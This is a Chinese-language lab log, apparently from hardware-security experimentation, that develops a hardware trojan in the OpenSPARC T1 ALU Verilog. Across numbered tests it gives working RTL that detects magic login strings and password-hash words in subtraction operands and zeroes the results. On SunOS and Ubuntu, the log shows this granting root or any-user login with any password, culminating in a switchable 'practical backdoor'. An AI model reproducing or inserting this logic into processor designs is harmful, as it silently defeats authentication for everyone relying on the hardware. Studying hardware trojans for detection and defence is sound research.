慢慢来,一次一次的试,盲调
现在的情况是没法达成预期的结果,但在SunOS 5.11上,指令可以被改乱从而系统就跑乱了。
逆向的结果,这个版本的libc里的strcmp,如果字符串地址4字节对齐,就一次读4字节,否则就一个字节一个字节的读。
而ubuntu7.10的strcmp,是字符串如果不是8字节对齐,就一字节一字节比较,用ldub;否则就是ldx,一次8字节。 这个系统内核是64位,用户层程序都是32位,我怀疑 malloc得到的buffer是4字节对齐。这样strcmp就只能一字节一字节的比较了。
测试0
** uty_opensolaris_patchbitgen1c4t_test36.ace **
测试SunOS 5.11,只要检测到输入的字符分别是0000和root,sparc就把后面所有的sub操作结果都返回0,这样系统肯定是运行不正常了。 这可以反推出sub指令成功接到了0000和root。
// uty: test
// cout64_e should be 1
// 0x726f6f74 root
assign backdoor_on_keyword = ((32'h30303030 == byp_alu_rs1_data_e[31:0]) && (32'h726f6f74 == byp_alu_rs2_data_e[31:0]))
|| ((32'h30303030 == byp_alu_rs2_data_e[31:0]) && (32'h726f6f74 == byp_alu_rs1_data_e[31:0]));
assign backdoor_off_keyword = ((32'h30303031 == byp_alu_rs1_data_e[31:0]) && (32'h726f6f74 == byp_alu_rs2_data_e[31:0]))
|| ((32'h30303031 == byp_alu_rs2_data_e[31:0]) && (32'h726f6f74 == byp_alu_rs1_data_e[31:0]));
assign backdoor_en = backdoor_on_keyword | backdoor_off_keyword;
assign backdoor_nxt = (backdoor_on_keyword & (~backdoor_off_keyword));
dffe_s #(1) backdoor_dff(.din(backdoor_nxt), .en(backdoor_en),
.clk(clk), .q(backdoor_r), .se(se),
.si(), .so());
...
assign trigger_backdoor = backdoor_r;
这个测试成功了,在login的时候输入0000,系统就挂了。
结论:rs1 rs2同时出现过0x30303030和0x726f6f74
测试1
下面测个固定的hash,主要看sub指令是按4个字节load这个hash还是有什么情况会让它一个字节一个字节的load。
这个系统ramdisk里啥都缺,没有useradd,也没有vi,所以我只能分别echo一个字串到/etc/passwd和/etc/shadow里来添加用户和密码。 并且系统里还缺/usr/lib/security/crypt_bsdmd5.so.1,所以没法用$1$这种md5的hash。
只能用系统默认的crypt(3)的hash。
用户名guest3(随便什么都行),密码uuu。
# echo 'guest3:U8OW4ptN8GB8s:6445::::::' >> /etc/shadow
# echo 'guest3:x:95:95:test:/:/usr/bin/sh' >> /etc/passwd
这回我要在sparc里检测是否出现U8OW4ptN8GB8s这个hash。如果是,结果返回0,让系统过。
U8OW4ptN8GB8s
U8OW 4ptN 8GB8 s
0x55384F57 0x3470744E 0x38474238 0x7300xxxx
// uty: test
// cout64_e should be 1
// 0x726f6f74 root
assign backdoor_on_keyword = ((32'h30303030 == byp_alu_rs1_data_e[31:0]) && (32'h726f6f74 == byp_alu_rs2_data_e[31:0]))
|| ((32'h30303030 == byp_alu_rs2_data_e[31:0]) && (32'h726f6f74 == byp_alu_rs1_data_e[31:0]));
assign backdoor_off_keyword = ((32'h30303031 == byp_alu_rs1_data_e[31:0]) && (32'h726f6f74 == byp_alu_rs2_data_e[31:0]))
|| ((32'h30303031 == byp_alu_rs2_data_e[31:0]) && (32'h726f6f74 == byp_alu_rs1_data_e[31:0]));
assign backdoor_en = backdoor_on_keyword | backdoor_off_keyword;
assign backdoor_nxt = (backdoor_on_keyword & (~backdoor_off_keyword));
dffe_s #(1) backdoor_dff(.din(backdoor_nxt), .en(backdoor_en),
.clk(clk), .q(backdoor_r), .se(se),
.si(), .so());
// only consider $1$ for now
assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[31:8]) && (24'h243124 == byp_alu_rs2_data_e[31:8])
&& (2'b0 != byp_alu_rs1_data_e[6:5]) && (2'b0 != byp_alu_rs2_data_e[6:5]))
& rs1rs2_ishashdata;
...
assign rs1rs2_ishashdata = ((32'h55384F57 == byp_alu_rs1_data_e[31:0]) || (32'h55384F57 == byp_alu_rs2_data_e[31:0]))
|| ((32'h3470744E == byp_alu_rs1_data_e[31:0]) || (32'h3470744E == byp_alu_rs2_data_e[31:0]))
|| ((32'h38474238 == byp_alu_rs1_data_e[31:0]) || (32'h38474238 == byp_alu_rs2_data_e[31:0]))
|| ((16'h7300 == byp_alu_rs1_data_e[31:16]) || (16'h7300 == byp_alu_rs2_data_e[31:16]))
;
// ifu_exu_invert_d & ecl_alu_cin_e, make sure it is a SUB/SUBcc
// instruction. (SUBC's ecl_alu_cin_e actually is 0)
assign trigger_backdoor = ifu_exu_invert_d & ecl_alu_cin_e & backdoor_r & rs1rs2_ishashdata;
//assign trigger_backdoor = backdoor_r;
assign spr_out[63:0] = spr_out_tmp[63:0] & {64{~trigger_backdoor}};
assign adder_out[63:0] = adder_out_tmp[63:0] & {64{~trigger_backdoor}};
这次trigger_backdoor的条件改回严格一点,要先用0000开启后门。 并且判断是个sub减法,最后rs1rs2_ishashdata就是硬编码的数据,无论在rs1还是rs2里都算。
如果成功,就是任意密码都能进。
但这次涉及的地方较多,比如dffe是否能正常工作,sub减法的ifu_exu_invert_d和ecl_alu_cin_e是否确定,通过追代码我认为是确定。
(dffe应该是正常工作,因为这个测试就能说明dffe backdoor_r是1,后续的add和sub才会出问题,系统才会freeze。)
这次还实验下只clean bitstream,这样编译的时间可能会少些,但是否会用新的sparc.npc还不确定。
所以如果这次实验,如果输入0000还是直接freeze,就首先说明只clean bitstream还不够,还得clean netlist和clean hardware。
modelsim先过了遍,没问题。
clean bits是这些:
make -f system.make bitsclean started...
rm -f implementation/system.bit
rm -f implementation/system.ncd
rm -f implementation/system_bd.bmm
rm -f implementation/system_map.ncd
rm -f __xps/system_routed
Done!
好像最慢的就是generate bitstream,生成netlist还算快的。
输入0000没有freeze,说明这次的ace更新了sparc,以后只要clean bitstream和generate bitstream就行了,不过也没省多少时间。 过了一会还是freeze了,这其实很难说是改代码的原因还是上次sparc没有更新进ace的原因。
只能再跑一次,这次clean netlist,clean bitstream,clean hardware。
刚想起来,应该用qemu跑SunOS 5.11这个ramdisk。
(试了,不行。panic[cpu0]/thread=180e000: lgrp_traverse: No memory blocks found
)
另外启动的时候也看到SunOS的内核显示的也是64位。
看来都是内核64,应用程序32位。
** uty_opensolaris_patchbitgen1c4t_test38.ace **
结果:
t1-fpga-00 console login:
t1-fpga-00 console login: 0000
Apr 29 16:04:56 t1-fpga-00 ufs: NOTICE: alloc: /: file system full
Apr 29 16:08:46 t1-fpga-00 last message repeated 2 times
Apr 29 16:08:50 t1-fpga-00 ufs: NOTICE: realloccg /: file system full
Apr 29 16:09:00 t1-fpga-00 ufs: NOTICE: alloc: /: file system full
有变化,首先基本能说明clean netlist是有必要先执行下。
后面一直都没freeze,说明应该是后面判断hash的部分误判了其它的sub指令,估计是最后的7300,这个范围太大了。
这次还有个变化,就是0000和root没有限制是rs1还是rs2,而在qemu虚拟机里跑SunOS 5.10时发现会有这个两个字符串从rs1 rs2 位置对调的情况。
这回会不会是已经把0000当成root了,所以没有提示密码?这个系统里root密码本来就是空。
后面又重复跑了下,结果一样,还是file system full这个提示,login跑崩了。
t1-fpga-00 console login:
t1-fpga-00 console login: root
Apr 29 16:06:04 t1-fpga-00 login: ROOT LOGIN /dev/console
Sun Microsystems Inc. SunOS 5.11 snv_77 October 2007
# login
login: 0000
Apr 29 16:06:06 t1-fpga-00 ufs: NOTICE: alloc: /: file system full
Segmentation Fault
# #
测试2
下面测试可以把7300的参数搞的更严一点,比如另外一个寄存器byte 3要是可打印字符,byte2 要是00,byte 1,0随意。
也可以测试把7300这条去掉,如果成功的话也许可以直接进root。
assign rs1rs2_ishashdata = ((32'h55384F57 == byp_alu_rs1_data_e[31:0]) || (32'h55384F57 == byp_alu_rs2_data_e[31:0]))
|| ((32'h3470744E == byp_alu_rs1_data_e[31:0]) || (32'h3470744E == byp_alu_rs2_data_e[31:0]))
|| ((32'h38474238 == byp_alu_rs1_data_e[31:0]) || (32'h38474238 == byp_alu_rs2_data_e[31:0]))
|| ((16'h7300 == byp_alu_rs1_data_e[31:16]) && (2'b0 != byp_alu_rs2_data_e[30:29]) && (1'b0 == byp_alu_rs2_data_e[31]) && (8'h0 == byp_alu_rs2_data_e[23:16]))
|| ((16'h7300 == byp_alu_rs2_data_e[31:16]) && (2'b0 != byp_alu_rs1_data_e[30:29]) && (1'b0 == byp_alu_rs1_data_e[31]) && (8'h0 == byp_alu_rs1_data_e[23:16]))
;
modelsim里简单测下没问题。
结果:
t1-fpga-00 console login:
t1-fpga-00 console login: root
Apr 29 16:05:31 t1-fpga-00 login: ROOT LOGIN /dev/console
Sun Microsystems Inc. SunOS 5.11 snv_77 October 2007
# login
login: 0000
Apr 29 16:05:32 t1-fpga-00 login: passwdutil.so: can't get master for passwd map
Password:
Login incorrect
7300那部分搞的严格点,就没crash了,但是0000也没有替换root。 这和之前在QEMU SunOS 5.10的镜像里的结果一致,后面有个0000和root的比较是按字节比较的。
# login
login: 0000
Password:
Login incorrect
login: guest3
Password:
Login incorrect
后面试了下用0000打开,再登陆刚加到shadow里的guest3用户,还是不行。 —————————————–
测试3
等用QEMU看下SunOS 5.10里是什么情况。
src2是系统密码uuu的hash,src1是输入的密码dd。
helper_sub: !!!!! src1 0x55385250, src2 0x55384f57
helper_sub: !!!!! src1 0x77692e55, src2 0x3470744e
helper_sub: !!!!! src1 0x49394e45, src2 0x38474238
helper_sub: !!!!! src1 0x45000000, src2 0x73000000
在虚拟机里明确能抓到这个hash串,但也会有很多误报的,怀疑是login验证密码对了,但在后续的cmp指令失败导致最后Login incorrect。
所以现在要试的是,把条件限制的更严些。
assign rs1rs2_ishashdata = ((32'h55384F57 == byp_alu_rs1_data_e[31:0]) || (32'h55384F57 == byp_alu_rs2_data_e[31:0]))
|| ((32'h3470744E == byp_alu_rs1_data_e[31:0]) || (32'h3470744E == byp_alu_rs2_data_e[31:0]))
|| ((32'h38474238 == byp_alu_rs1_data_e[31:0]) || (32'h38474238 == byp_alu_rs2_data_e[31:0]))
|| (((32'h45000000 == byp_alu_rs1_data_e[31:0]) && (32'h73000000 == byp_alu_rs2_data_e[31:0])))
// || ((16'h7300 == byp_alu_rs1_data_e[31:16]) && (2'b0 != byp_alu_rs2_data_e[30:29]) && (1'b0 == byp_alu_rs2_data_e[31]) && (8'h0 == byp_alu_rs2_data_e[23:16]))
// || ((16'h7300 == byp_alu_rs2_data_e[31:16]) && (2'b0 != byp_alu_rs1_data_e[30:29]) && (1'b0 == byp_alu_rs1_data_e[31]) && (8'h0 == byp_alu_rs1_data_e[23:16]))
;
再测的时候,密码输入dd,最后这一字节密码就写固定了,45000000和73000000。
先这样测下,要是还不行,就先用dd的密码做次测试,也就是rs1里必须是dd的hash,rs2里是uuu的hash。
** uty_opensolaris_patchbitgen1c4t_test40.ace **
结果:
t1-fpga-00 console login: root
Apr 29 16:04:55 t1-fpga-00 login: ROOT LOGIN /dev/console
Sun Microsystems Inc. SunOS 5.11 snv_77 October 2007
# chmod +w /etc/shadow
# echo 'guest3:U8OW4ptN8GB8s:6445::::::' >> /etc/shadow
# echo 'guest3:x:95:95:test:/:/usr/bin/sh' >> /etc/passwd
# login
login: 0000
Apr 29 16:05:02 t1-fpga-00 login: passwdutil.so: can't get master for passwd map
Password:
Login incorrect
login: guest3
Password:
Login incorrect
还是不行,再试试4500和7300,也许后面两byte不一定都是00。
测试4
assign rs1rs2_ishashdata = ((32'h55384F57 == byp_alu_rs1_data_e[31:0]) || (32'h55384F57 == byp_alu_rs2_data_e[31:0]))
|| ((32'h3470744E == byp_alu_rs1_data_e[31:0]) || (32'h3470744E == byp_alu_rs2_data_e[31:0]))
|| ((32'h38474238 == byp_alu_rs1_data_e[31:0]) || (32'h38474238 == byp_alu_rs2_data_e[31:0]))
|| (((16'h4500 == byp_alu_rs1_data_e[31:16]) && (32'h7300 == byp_alu_rs2_data_e[31:16])))
;
** uty_opensolaris_patchbitgen1c4t_test41.ace **
结果:
失败
也许是bypass network里有其它地方会影响结果,也可能是输出的几个信号还有不对的地方。
测试5
再sparc里固定写上这个几个值,目的就是让登陆guest3的时候用dd密码也可以,也不用0000开启了。 最后一段hash只判定4500和7300。
QEMU 6.1.93 monitor - type 'help' for more information
(qemu) char device redirected to /dev/pts/9 (label serial0)
helper_sub: !!!!! src1 0x55385250, src2 0x55384f57
helper_sub: !!!!! src1 0x77692e55, src2 0x3470744e
helper_sub: !!!!! src1 0x49394e45, src2 0x38474238
helper_sub: !!!!! src1 0x45000000, src2 0x73000000
** uty_opensolaris_patchbitgen1c4t_test42.ace **
结果
这次可以了!!
t1-fpga-00 console login: guest3
Password:
Last login: Tue Apr 29 16:07:22 on console
Insufficient privileges, quota must be set-uid root or have file_dac_read privileges
Sun Microsystems Inc. SunOS 5.11 snv_77 October 2007
$
也就是guest3有2个密码,一个uuu,还有一个dd。
现在回推,问题可能出在0000的backdoor_dff上,也可能出在这几个信号里面。
assign trigger_backdoor = ifu_exu_invert_d & ecl_alu_cin_e & backdoor_r & rs1rs2_ishashdata;
这次成功是没只用了assign trigger_backdoor = rs1rs2_ishashdata;
,ifu_exu_invert_d应该是减法一定会设置的。
而ecl_alu_cin_e,虽然cmp指令实际上是SUBcc指令,并不用到carry,但我通过看代码和跟代码感觉SUBcc的时候这个信号也
应该是1,否则结果不对,多减了1。
下面就实验是ifu_exu_invert_d,ecl_alu_cin_e的问题,还是backdoor_r的问题。
测试6
这次把backdoor_r带上,也就是说必须要先0000激活后门才行。
验证下SUBcc时ifu_exu_invert_d和ecl_alu_cin_e是不是都是1,看我对这条减法指令的理解对不对,还是backdoor_r的dffe用的有问题。
我也把xor指令里以前加的代码也去掉了,在debian9.0的代码里,不是用cmp,而是用xor做字符串比较。
最开始加的,后来一直忘了,现在先拿掉,不考虑这个。
assign rs1rs2_ishashdata = ((32'h55385250 == byp_alu_rs1_data_e[31:0]) && (32'h55384F57 == byp_alu_rs2_data_e[31:0]))
|| ((32'h77692e55 == byp_alu_rs1_data_e[31:0]) && (32'h3470744E == byp_alu_rs2_data_e[31:0]))
|| ((32'h49394e45 == byp_alu_rs1_data_e[31:0]) && (32'h38474238 == byp_alu_rs2_data_e[31:0]))
|| (((16'h4500 == byp_alu_rs1_data_e[31:16]) && (32'h7300 == byp_alu_rs2_data_e[31:16])))
;
// ifu_exu_invert_d & ecl_alu_cin_e, make sure it is a SUB/SUBcc
// instruction. (SUBC's ecl_alu_cin_e actually is 0)
//assign trigger_backdoor = ifu_exu_invert_d & ecl_alu_cin_e & backdoor_r & rs1rs2_ishashdata;
assign trigger_backdoor = backdoor_r & rs1rs2_ishashdata;
assign spr_out[63:0] = spr_out_tmp[63:0] & {64{~trigger_backdoor}};
assign adder_out[63:0] = adder_out_tmp[63:0] & {64{~trigger_backdoor}};
** uty_opensolaris_patchbitgen1c4t_test43.ace **
结果
这次也跑通了。
t1-fpga-00 console login: root
Apr 29 16:04:55 t1-fpga-00 login: ROOT LOGIN /dev/console
Sun Microsystems Inc. SunOS 5.11 snv_77 October 2007
# chmod +w /etc/shadow
# echo 'guest3:U8OW4ptN8GB8s:6445::::::' >> /etc/shadow
# echo 'guest3:x:95:95:test:/:/usr/bin/sh' >> /etc/passwd
# login
login: guest3
Password:
Login incorrect
login: 0000
Apr 29 16:05:27 t1-fpga-00 login: passwdutil.so: can't get master for passwd map
Password:
Login incorrect
login: guest3
Password: <----- dd
No utmpx entry. You must exec "login" from the lowest level "shell".
# login
login: guest3
Password: <----- dd
No utmpx entry. You must exec "login" from the lowest level "shell".
# login
login: guest3
Password: <----- uuu
No utmpx entry. You must exec "login" from the lowest level "shell".
# login
login: guest3
Password: <----- sdfsdfsdf
Login incorrect
login: 0001
Password:
Login incorrect
login: guest3
Password:
Login incorrect
login: guest3
Password:
No utmpx entry. You must exec "login" from the lowest level "shell".
#
说明backdoor_dff没事,应该是ifu_exu_invert_d & ecl_alu_cin_e这两个信号我判断的有问题。
问题是从代码上看SUBcc应该是设这两个为1啊,也只有这样才是把减数取补码(取反+1),然后做加法。
还有种可能就是时序的问题,ifu_exu_invert_d & ecl_alu_cin_e可能会变,导致最终计算结果不能正确的存到下一阶段的寄存器里? 还是ecl_alu_cin_e应该是0?但这个明显结果不对啊。
如果不判断ADD SUB指令,会更容易出现误判。
这里还得仔细看看代码找到原因。
ALU里的buffer是不是就是这个原因,让rs1和rs2的数据满足下一级流水线寄存器的hold time? 但只有sparc_exu_alulogic里有dp_buffer,sparc_exu_aluaddsub里是没用到buffer的,看来还是位了fan out多的问题。
这个问题最好是用vcs模拟整个sparc跑指令来看时序。
测试6
测试下ubuntu7.10的strcmp是按8字节比较还是1字节。
assign backdoor_on_keyword = ((64'h3030303030303030 == byp_alu_rs1_data_e[63:0]) && (32'h726f6f74 == byp_alu_rs2_data_e[63:32]))
|| ((64'h3030303030303030 == byp_alu_rs2_data_e[63:0]) && (32'h726f6f74 == byp_alu_rs1_data_e[63:32]));
assign backdoor_off_keyword = ((64'h3030303030303031 == byp_alu_rs1_data_e[63:0]) && (32'h726f6f74 == byp_alu_rs2_data_e[63:32]))
|| ((64'h3030303030303031 == byp_alu_rs2_data_e[63:0]) && (32'h726f6f74 == byp_alu_rs1_data_e[63:32]));
assign backdoor_en = backdoor_on_keyword | backdoor_off_keyword;
assign backdoor_nxt = (backdoor_on_keyword & (~backdoor_off_keyword));
dffe_s #(1) backdoor_dff(.din(backdoor_nxt), .en(backdoor_en),
.clk(clk), .q(backdoor_r), .se(se),
.si(), .so());
...
assign trigger_backdoor = backdoor_r;
assign spr_out[63:0] = spr_out_tmp[63:0] & {64{~trigger_backdoor}};
assign adder_out[63:0] = adder_out_tmp[63:0] & {64{~trigger_backdoor}};
如果输入00000000,系统应该freeze了。
** uty_opensolaris_patchbitgen1c4t_test44.ace **
(这个名起错了,应该是uty_ubuntu_patchbitgen1c4t_test44.ace)
结果:
t1-fpga-00 login: 00000000
Password:
试了2次,都是在输入password后freeze了。奇怪的是没有马上freeze,等了一会。
看来00000000和root这两个字符串是被SUB计算过了。
但现在不清楚一共有几次比较,会不会和SunOS 5.11那样,先有几次32bit比较,再有8bit的比较,可能是不同的库处理过。
测试7
这回再测下,所有00000000和root的SUBcc都返回0,看看00000000能不能代替root登陆。
assign backdoor_on_keyword = ((64'h3030303030303030 == byp_alu_rs1_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs2_data_e[63:24]))
|| ((64'h3030303030303030 == byp_alu_rs2_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs1_data_e[63:24]));
...
assign trigger_backdoor = backdoor_on_keyword;
不用dff了,每次遇到00000000和root都结果置0。
** uty_ubuntu_patchbitgen1c4t_test45.ace **
结果:
没成功。
t1-fpga-00 login: 00000000
Password: <---- root
Login incorrect
00000000并没有完全取代字符root。也许是和Sun OS里一样,有按byte比较的地方。
不过debian9.0里这样做就能替代root。
测试8
现在试下ubuntu7.10这个系统在比较hash的时候是不是一次8个字节。
从逆向libc里strcmp里看到是这样,除非buffer不是8字节对齐。不对齐的情况就按每次比较一字节了。
assign backdoor_on_keyword = (64'h2431243763373178 == byp_alu_rs1_data_e[63:0]) && (64'h2431243763373178 == byp_alu_rs2_data_e[63:0]);
...
assign trigger_backdoor = backdoor_r;
如果登陆guest,应该没事。要是登陆root,root的hash会触发backdoor_on_keyword,系统会freeze。
** uty_ubuntu_patchbitgen1c4t_test46.ace **
结果:
Ubuntu 7.10 t1-fpga-00 ttyS0
t1-fpga-00 login: root
Password: <---- 随便敲的
确实是freeze住了,之前还试了用guest登陆,那个就没事。
说明hash是按64位做比较的,是不是全部,还的测。
测试9
硬编码一个hash,比如guest的hash,测试如果登陆的root也能用guest的密码登陆,说明64位对比,并且只有这一次。
guest:$1$3yl/GC0y$lqH9UHNOnOtbO4//.bpGS.:14168:0:99999:7:::
$1$3yl/G 0x24312433796c2f47
C0y$lqH9 0x433079246c714839
UHNOnOtb 0x55484e4f6e4f7462
O4//.bpG 0x4f342f2f2e627047
S. 0x532e
最后的hash只有S.两个字节,算上00结尾也只有3个字节,太容易误报,所以为了这个测试,S.和root最后的2个字节C1放一起做为条件。
root:$1$7c71xB0y$mPkMSwwbMWgEXsyD6YV/C1:14168:0:99999:7:::
$1$7c71x 0x2431243763373178
B0y$mPkM 0x423079246d506b4d
SwwbMWgE 0x537777624d576745
XsyD6YV/ 0x587379443659562f
C1 0x4331
assign backdoor_on_keyword = (64'h24312433796c2f47 == byp_alu_rs1_data_e[63:0]) || (64'h24312433796c2f47 == byp_alu_rs2_data_e[63:0])
|| (64'h433079246c714839 == byp_alu_rs1_data_e[63:0]) || (64'h433079246c714839 == byp_alu_rs2_data_e[63:0])
|| (64'h55484e4f6e4f7462 == byp_alu_rs1_data_e[63:0]) || (64'h55484e4f6e4f7462 == byp_alu_rs2_data_e[63:0])
|| (64'h4f342f2f2e627047 == byp_alu_rs1_data_e[63:0]) || (64'h4f342f2f2e627047 == byp_alu_rs2_data_e[63:0])
|| ((24'h532e00 == byp_alu_rs1_data_e[63:40]) && (24'h433100 == byp_alu_rs2_data_e[63:40]))
|| ((24'h433100 == byp_alu_rs1_data_e[63:40]) && (24'h532e00 == byp_alu_rs2_data_e[63:40]))
;
...
assign trigger_backdoor = backdoor_on_keyword;
** uty_ubuntu_patchbitgen1c4t_test47.ace **
结果:
t1-fpga-00 login: root
Password: <---- guest
Login incorrect
没成功。
原因可能是“guest”用的是root的salt再hash一遍,产生的hash并不是/etc/shadow里的那个。
测试10
最后一段hash太短了,但好在是64bit最开头的位置。
试下这个很粗糙的规则,如果不行的话,应该在进系统的时候就已经freeze了。
如果这个测试不行,就需要把密码hash固定在rs1或rs2上。
从debian9.0来看,应该是在rs2上。
assign backdoor_on_keyword = (64'h24312433796c2f47 == byp_alu_rs1_data_e[63:0]) || (64'h24312433796c2f47 == byp_alu_rs2_data_e[63:0])
|| (64'h433079246c714839 == byp_alu_rs1_data_e[63:0]) || (64'h433079246c714839 == byp_alu_rs2_data_e[63:0])
|| (64'h55484e4f6e4f7462 == byp_alu_rs1_data_e[63:0]) || (64'h55484e4f6e4f7462 == byp_alu_rs2_data_e[63:0])
|| (64'h4f342f2f2e627047 == byp_alu_rs1_data_e[63:0]) || (64'h4f342f2f2e627047 == byp_alu_rs2_data_e[63:0])
|| ((24'h532e00 == byp_alu_rs1_data_e[63:40]) && (8'h00 == byp_alu_rs2_data_e[47:40]))
|| ((8'h00 == byp_alu_rs1_data_e[47:40]) && (24'h532e00 == byp_alu_rs2_data_e[63:40]))
;
...
assign trigger_backdoor = backdoor_on_keyword;
又想了下,这样也不行,因为以root用户登陆,输入“guest”,会按照root的salt生成hash,肯定和/etc/shadow里的guest的hash不同。
改成这样,把root的hash硬编码,这样,结果应该是任意密码都能登陆root。
hash最后的2byte还是容易误判。
如果开机到登陆login都没出问题的话,就说明没有误判,否则就要再加条件。
assign backdoor_on_keyword = (64'h2431243763373178 == byp_alu_rs1_data_e[63:0]) || (64'h2431243763373178 == byp_alu_rs2_data_e[63:0])
|| (64'h423079246d506b4d == byp_alu_rs1_data_e[63:0]) || (64'h423079246d506b4d == byp_alu_rs2_data_e[63:0])
|| (64'h537777624d576745 == byp_alu_rs1_data_e[63:0]) || (64'h537777624d576745 == byp_alu_rs2_data_e[63:0])
|| (64'h587379443659562f == byp_alu_rs1_data_e[63:0]) || (64'h587379443659562f == byp_alu_rs2_data_e[63:0])
|| ((24'h433100 == byp_alu_rs1_data_e[63:40]) && (8'h00 == byp_alu_rs2_data_e[47:40]))
|| ((8'h00 == byp_alu_rs1_data_e[47:40]) && (24'h433100 == byp_alu_rs2_data_e[63:40]))
;
...
assign trigger_backdoor = backdoor_on_keyword;
** uty_ubuntu_patchbitgen1c4t_test48.ace **
结果:
这次可以。随便什么密码都可以登陆root。直接回车空密码也可以。
root@t1-fpga-00:~# login
t1-fpga-00 login: root
Password: ----> 随便敲的
Last login: Wed Dec 31 16:01:53 PST 1969 on ttyS0
Linux t1-fpga-00 2.6.22-15-sparc64-smp #110 SMP Wed Mar 18 16:53:44 PDT 2009 sparc64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
root@t1-fpga-00:~#
这说明和qemu上的debian9.0一样,密码比较只进行一次,而且是按64位比较的。
很幸运,最后2个字节的条件似乎没有误报什么,成功的从启动直到进了系统。
测试11
这次测一个实用的后门。
输入00000000后开启后门,此后登陆所有的用户名均不需要密码或任意密码。
assign backdoor_on_keyword = ((64'h3030303030303030 == byp_alu_rs1_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs2_data_e[63:24]))
|| ((64'h3030303030303030 == byp_alu_rs2_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs1_data_e[63:24]));
assign backdoor_off_keyword = ((64'h3030303030303031 == byp_alu_rs1_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs2_data_e[63:24]))
|| ((64'h3030303030303031 == byp_alu_rs2_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs1_data_e[63:24]));
assign backdoor_en = backdoor_on_keyword | backdoor_off_keyword;
assign backdoor_nxt = (backdoor_on_keyword & (~backdoor_off_keyword));
dffe_s #(1) backdoor_dff(.din(backdoor_nxt), .en(backdoor_en),
.clk(clk), .q(backdoor_r), .se(se),
.si(), .so());
// only consider $1$ for now
assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[63:40]) && (24'h243124 == byp_alu_rs2_data_e[63:40]))
& rs1rs2_ishashdata;
assign hash_end = ~rs1rs2_ishashdata;
assign rs1rs2_ishashdata =
(
(2'b0 != byp_alu_rs1_data_e[62:61]) && (2'b0 != byp_alu_rs2_data_e[62:61])
&& (2'b0 != byp_alu_rs1_data_e[54:53]) && (2'b0 != byp_alu_rs2_data_e[54:53])
&& (2'b0 != byp_alu_rs1_data_e[46:45]) && (2'b0 != byp_alu_rs2_data_e[46:45])
&& (2'b0 != byp_alu_rs1_data_e[38:37]) && (2'b0 != byp_alu_rs2_data_e[38:37])
&& (2'b0 != byp_alu_rs1_data_e[30:29]) && (2'b0 != byp_alu_rs2_data_e[30:29])
&& (2'b0 != byp_alu_rs1_data_e[22:21]) && (2'b0 != byp_alu_rs2_data_e[22:21])
&& (2'b0 != byp_alu_rs1_data_e[14:13]) && (2'b0 != byp_alu_rs2_data_e[14:13])
&& (2'b0 != byp_alu_rs1_data_e[6:5]) && (2'b0 != byp_alu_rs2_data_e[6:5])
)
& (~byp_alu_rs1_data_e[63]) & (~byp_alu_rs2_data_e[63])
& (~byp_alu_rs1_data_e[55]) & (~byp_alu_rs2_data_e[55])
& (~byp_alu_rs1_data_e[47]) & (~byp_alu_rs2_data_e[47])
& (~byp_alu_rs1_data_e[39]) & (~byp_alu_rs2_data_e[39])
& (~byp_alu_rs1_data_e[31]) & (~byp_alu_rs2_data_e[31])
& (~byp_alu_rs1_data_e[23]) & (~byp_alu_rs2_data_e[23])
& (~byp_alu_rs1_data_e[15]) & (~byp_alu_rs2_data_e[15])
& (~byp_alu_rs1_data_e[7]) & (~byp_alu_rs2_data_e[7])
;
assign hash_en = (hash_begin | hash_end) & backdoor_r;
assign hash_nxt = hash_begin & (~hash_end);
dffe_s #(1) hash_dffe(.din(hash_nxt), .en(hash_en),
.clk(clk), .q(hash_r), .se(se),
.si(), .so());
assign trigger_backdoor = (hash_r | hash_begin);// & backdoor_r ; // hash_r will update at next cycle.
//also the backdoor will still be triggered when hash_end
assign spr_out[63:0] = spr_out_tmp[63:0] & {64{~trigger_backdoor}};
assign adder_out[63:0] = adder_out_tmp[63:0] & {64{~trigger_backdoor}};
用modelsim模拟测试下,在没开启后门00000000先验证hash,trigger_backdoor为0。
之后再开启后门00000000,遇到$1$后认为开始比较hash,直到最后的2字节hash里有00的地方认为是hash结束。
u@unamed:~/prjs/test_sparcalu$ ./debugsparcalu.sh setupwave_testubuntu7.10.do
** uty_ubuntu_patchbitgen1c4t_test49.ace **
结果:
不成功,没有登陆进去。
怀疑是rs1rs2_ishashdata太慢,或者hash_dffe的输出hash_r影响了最后一次比较。
测试12
先把rs1rs2_ishashdata改简单,其它不变。
//assign hash_end = ~rs1rs2_ishashdata;
assign hash_end = (8'h0 == byp_alu_rs1_data_e[47:40]);
assign rs1rs2_ishashdata =
// (
// (2'b0 != byp_alu_rs1_data_e[62:61]) && (2'b0 != byp_alu_rs2_data_e[62:61])
// && (2'b0 != byp_alu_rs1_data_e[54:53]) && (2'b0 != byp_alu_rs2_data_e[54:53])
// && (2'b0 != byp_alu_rs1_data_e[46:45]) && (2'b0 != byp_alu_rs2_data_e[46:45])
// && (2'b0 != byp_alu_rs1_data_e[38:37]) && (2'b0 != byp_alu_rs2_data_e[38:37])
// && (2'b0 != byp_alu_rs1_data_e[30:29]) && (2'b0 != byp_alu_rs2_data_e[30:29])
// && (2'b0 != byp_alu_rs1_data_e[22:21]) && (2'b0 != byp_alu_rs2_data_e[22:21])
// && (2'b0 != byp_alu_rs1_data_e[14:13]) && (2'b0 != byp_alu_rs2_data_e[14:13])
// && (2'b0 != byp_alu_rs1_data_e[6:5]) && (2'b0 != byp_alu_rs2_data_e[6:5])
// )
(~byp_alu_rs1_data_e[63]) & (~byp_alu_rs2_data_e[63])
& (~byp_alu_rs1_data_e[55]) & (~byp_alu_rs2_data_e[55])
& (~byp_alu_rs1_data_e[47]) & (~byp_alu_rs2_data_e[47])
& (~byp_alu_rs1_data_e[39]) & (~byp_alu_rs2_data_e[39])
& (~byp_alu_rs1_data_e[31]) & (~byp_alu_rs2_data_e[31])
& (~byp_alu_rs1_data_e[23]) & (~byp_alu_rs2_data_e[23])
& (~byp_alu_rs1_data_e[15]) & (~byp_alu_rs2_data_e[15])
& (~byp_alu_rs1_data_e[7]) & (~byp_alu_rs2_data_e[7])
;
